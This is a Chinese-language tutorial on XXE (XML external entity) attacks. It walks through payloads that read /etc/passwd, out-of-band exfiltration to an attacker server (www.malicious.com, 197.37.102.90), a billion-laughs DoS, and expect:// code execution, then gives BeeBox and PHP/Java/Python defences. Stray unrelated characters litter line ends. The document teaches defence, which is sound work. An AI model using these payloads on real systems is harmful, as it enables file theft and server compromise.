外部實(shí)體引用
DTD文件用來(lái)定義XML文件遵循的規(guī)則(格式)疤孕,而!ENTITY就可實(shí)現(xiàn)如同占位符的作用元莫,例如:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
此處&xee所要顯示的內(nèi)容即由!ENTITY xee標(biāo)簽決定卵凑,在有回顯的情況下,該服務(wù)器的/etc/passwd文件就會(huì)被泄露。
分類
1. 簡(jiǎn)單情況好唯,有回顯
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
實(shí)例:BeeBox中的XXE LOW
抓包可見(jiàn)修改secret的方式是POST一個(gè)xml
<reset><login>gambro</login><secret>Any bugs?</secret></reset>
而回顯的內(nèi)容中包括用戶名竭沫,由<login>決定燥翅,
可以利用它泄露出/etc/passwd
修改為
<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
白盒:xxe-2.php
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
ini_set("display_errors",1);
$xml = simplexml_load_string($body);
// Debugging
// print_r($xml);
$login = $xml->login;
$secret = $xml->secret;
...
$message = $login . "'s secret has been reset!";
simplexml_load_string()函數(shù)直接將xml解析,login值不經(jīng)過(guò)濾直接接在響應(yīng)消息前蜕提。
其他利用:
-
端口掃描
開(kāi)放端口
非開(kāi)放端口
使用Intruder可以掃描端口
2. 無(wú)回顯
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>
www.malicious.com為攻擊者搭建的惡意服務(wù)器
注:
- 參數(shù)實(shí)體定義以%作為開(kāi)頭森书,引用也以%開(kāi)頭,以;結(jié)尾谎势,定義和引用都在DTD內(nèi)部凛膏。
- 一般實(shí)體的定義無(wú)%開(kāi)頭,引用以&開(kāi)頭脏榆,以;結(jié)尾猖毫,定義在DTD,引用在XML须喂。
%xxe讀取了/etc/passwd吁断,并將內(nèi)容附在url: www.malicious.com/后作為一個(gè)參數(shù)
然后向服務(wù)端發(fā)送GET請(qǐng)求,其中包含敏感文件內(nèi)容
實(shí)例:FACEBOOK OOB XXE
Facebook招聘頁(yè)一處.docx文件上傳被發(fā)現(xiàn)可能存在xxe
注:docx是基于XML的一種壓縮文件格式坞生,類似的還有xlsx, pptx
攻擊者創(chuàng)建了一個(gè)docx文件仔役,并用7zip打開(kāi),在其中一個(gè)XML中插入payload:
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
%dtd;
%send;
]]>
在解析的時(shí)候是己,如果受害者開(kāi)啟了外部實(shí)體又兵,XML 解析器會(huì)調(diào)用遠(yuǎn)程主機(jī)。在收到請(qǐng)求調(diào)用之后卒废,遠(yuǎn)程服務(wù)器會(huì)發(fā)送回提前部署好的DTD 文件沛厨,像這樣:
<!ENTITY % send SYSTEM 'http://197.37.102.90/FACEBOOK-HACKED?%file;'>
引入遠(yuǎn)程dtd文件后,根據(jù)上面的payload摔认,/etc/passwd文件內(nèi)容被附于url
后通過(guò)GET請(qǐng)求發(fā)送至攻擊者服務(wù)器逆皮。
漏洞的發(fā)現(xiàn)者M(jìn)ohamed 使用 Python 和SimpleHTTPServer開(kāi)啟了一臺(tái)本地服務(wù)器,等待一會(huì)后级野,接收到了以下信息:
SimpleHTTPServer收到了請(qǐng)求/ext.dtd的request页屠,隨之受害服務(wù)器解析了dtd文件并發(fā)送了/FACEBOOK-HACKED? GET請(qǐng)求,遺憾的是并沒(méi)有和之前預(yù)想的附上/etc/passwd的文件內(nèi)容蓖柔。原因可能是沒(méi)有權(quán)限
而按照本節(jié)最開(kāi)始的示例辰企,Mohamed本可以不用請(qǐng)求外部dtd
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
而直接讀取文件并回傳至自己的服務(wù)器
但這一步的價(jià)值在于,如果成功請(qǐng)求了遠(yuǎn)程dtd文件况鸣,解析后再發(fā)出請(qǐng)求牢贸,即可證明XXE漏洞存在,而讀取/etc/passwd不過(guò)是XXE利用方式的一種
實(shí)例: Wikiloc XXE
網(wǎng)站提供了一種.gpx文件的上傳處
攻擊者遵循了.gpx的格式并插入dtd
其他利用
1. DOS
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY %lol2 "%lol;%lol;%lol;%lol;%lol;%lol;%lol;%lol;%lol;%lol;">
<!ENTITY %lol3 "%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;">
<!ENTITY %lol4 "%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;">
<!ENTITY %lol5 "%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;">
<!ENTITY %lol6 "%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;">
<!ENTITY %lol7 "%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;">
<!ENTITY %lol8 "%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;">
<!ENTITY lol9 "%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;">
]>
<lolz>&lol9;</lolz>
遞歸镐捧,10^8個(gè)“l(fā)ol”
2. RCE
這種情況很少發(fā)生潜索,但有些情況下攻擊者能夠通過(guò)XXE執(zhí)行代碼竹习,這主要是由于配置不當(dāng)/開(kāi)發(fā)內(nèi)部應(yīng)用導(dǎo)致的拗窃。如果我們足夠幸運(yùn)震放,并且PHP expect模塊被加載到了易受攻擊的系統(tǒng)或處理XML的內(nèi)部應(yīng)用程序上诈铛,那么我們就可以執(zhí)行如下的命令:
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
響應(yīng):
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
(待補(bǔ)充)
防御
BeeBox中高級(jí)針對(duì)XXE的防御策略:
// Disables XML external entities. Doesn't work with older PHP versions!
// libxml_disable_entity_loader(true);
$xml = simplexml_load_string($body);
// Debugging
// print_r($xml);
$login = $_SESSION["login"];
$secret = $xml->secret;
if($secret)
{
$secret = mysqli_real_escape_string($link, $secret);
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
// Debugging
// echo $sql;
$recordset = $link->query($sql);
if(!$recordset)
{
die("Connect Error: " . $link->error);
}
$message = $login . "'s secret has been reset!";
}
else
{
$message = "An error occured!";
}
對(duì)于老版本的PHP妨退,不能使用libxml_disable_entity_loader(true);禁用外部實(shí)體引用轻掩,這里罕扎。login現(xiàn)在是直接在SEESION里面取扮惦,不再利用xml進(jìn)行提交浊仆。并且使用了mysqli_real_escape_string()函數(shù)對(duì)$secret進(jìn)行了特殊字符轉(zhuǎn)義舔琅。
禁用外部實(shí)體引用:
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
過(guò)濾關(guān)鍵詞闪檬,不允許XML中有自定義DTD
Reference
Web Hacking 101
XXE漏洞利用技巧:從XML到遠(yuǎn)程代碼執(zhí)行
[Web安全] XXE漏洞攻防學(xué)習(xí)(中)